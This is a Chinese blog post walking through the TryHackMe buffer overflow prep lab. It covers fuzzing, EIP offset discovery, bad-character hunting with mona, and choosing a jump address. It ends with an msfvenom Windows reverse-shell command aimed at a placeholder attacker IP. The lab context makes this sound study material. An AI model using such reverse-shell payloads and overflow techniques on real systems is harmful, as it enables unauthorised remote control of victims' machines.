点击上方蓝字关注我们!
0x00:在线漏洞环境介绍+前期准备
这次还是用Try hack me的环境。房间号链接是 https://tryhackme.com/room/bufferoverflowprep。建议先连接他们的内网再连接靶机,在线网页版kali的稳定性真随缘,这次是第二关OVERFLOW2。
启动完靶机之后可以用kali自带的xfreerdp远程桌面连接一波。
连接成功以后以管理员身份运行Immunity Debugger,然后打开桌面的vulnerable-apps文件夹,再打开oscp文件夹,最后里面有个oscp.exe,双击点开,按住左上的红色按钮启动。
这里可以使用nc验证一下,连到靶机1337端口以后出现Welcome xxxx代表运行成功。
当然还得在Immunity Debugger里面设置联动波mona,后面会用的到。
0x01:模糊测试
这里的python脚本都是来自该房间的OVERFLOW1,或者是这位大佬的github 脚本 https://github.com/hum4nG0D/OSCP_Bufferovrflw_Prep 。这里的模糊测试脚本是来自房间所提供的,复制下来以后需要更改ip地址,和prefix 指定OVERFLOW2就可以了。
Python运行,程序承受数据的极限大概在700左右。
0x02:精准定位
模糊测试只能测出一个大概,接下来我们需要精准测试出具体是在哪里溢出的。我们首先需要使用/usr/share/Metasploit-framework/tools/pattern_create -l 创造出一些字符串,这里我创了700个出来。
把刚生成好的字符串贴到python脚本里面的buffer变量里(这个脚本是来自github上的),稍微修改下IP。
重新运行一波python 02-offset.py。此时在Immunity Debuuger里面,程序是停止了,在底下输入框中输入!mona findmsp -distance 700, 可以看到有个EIP contains normal pattern xxxx offset 634,而634就是代表着程序溢出点。
如果不太确定的话可以用下网页版所提供的脚本,修改下IP,和关卡名,然后再offset填入刚才得到的634,再retn这个变量里,填入BBBB或者是其它字符(前提是你记得它转换成其它进制的编码)
重新运行该脚本,此时EIP变成42424242是BBBB十六进制转换后的样子。
0x03:寻找坏字符串
由于我们后面生成反弹shell是通过shellcode进行编码的,但是程序可能会对某些编码表示不认可,这就是坏字符串,我们得把它们找出来。这里得注意一波,每个程序对坏字符串会有不同的定义,比如这个程序可能会觉得x00 x01x02是坏字符串,另外一个程序可能会觉得xff是坏字符串。坏字符串基本上是没有固定的,除了x00。
这里得先用mona通知一波x00是坏字符串
这里的思路是先通过网页的py脚本生成x01到xff字符串,然后慢慢调试找出坏字符串除了。
把生成好的一堆字符串复制到github脚本里面的bad变量里面,稍微修改下IP和关卡名。就可运行了。
运行完py脚本以后此时的Immunity Debugger应该是停止状态。在底层输入框输入!mona compare -f C:monaoscpbytearray.bin -a ESP地址 会弹出一个比较结果并列出有可能的坏字符串出来。
这里建议两个两个进行比较,比如说23 和24,在刚才的脚本中把23给删了,此时24消失了。
而把24给删了,23,24两个都还在,内鬼是23它连累到后面的24字符串上坏字符串榜了。
用这种方法慢慢推,最后用纸记录了一波。最后的坏字符串就是23 3c 83 和ba
找完以后用!mona bytearray -b “x00x23x3cx83xba”通知一波。
把那些坏字符串给删掉。重新运行一波。
此时再比较一波已经变成unmodifed了,意思是没坏字符串了。
接下来,就是查找波跳跃点,用!mona命令以后可以找出很多跳跃点,这里我选择最头顶的这个。
然后把它写入到retn变量里面反着来写,并且按照x xx这种格式。
0x04:生成最终payload
最重要的就是生成反弹shell了可以用这条命令
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "x00x23x3cx83xba" -f c
把刚才生成好的一堆shellcode复制到payload变量里面,这里在提一下我们的shellcode是需要一定空间解压的所以在padding 这个变量里面我们指定16个x90
最后提前开启nc,重新运行最终payload,成功得到一个反弹shell
原文始发于微信公众号(神隐攻防实验室):用脚本小子的方法学习缓冲出溢出漏洞2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论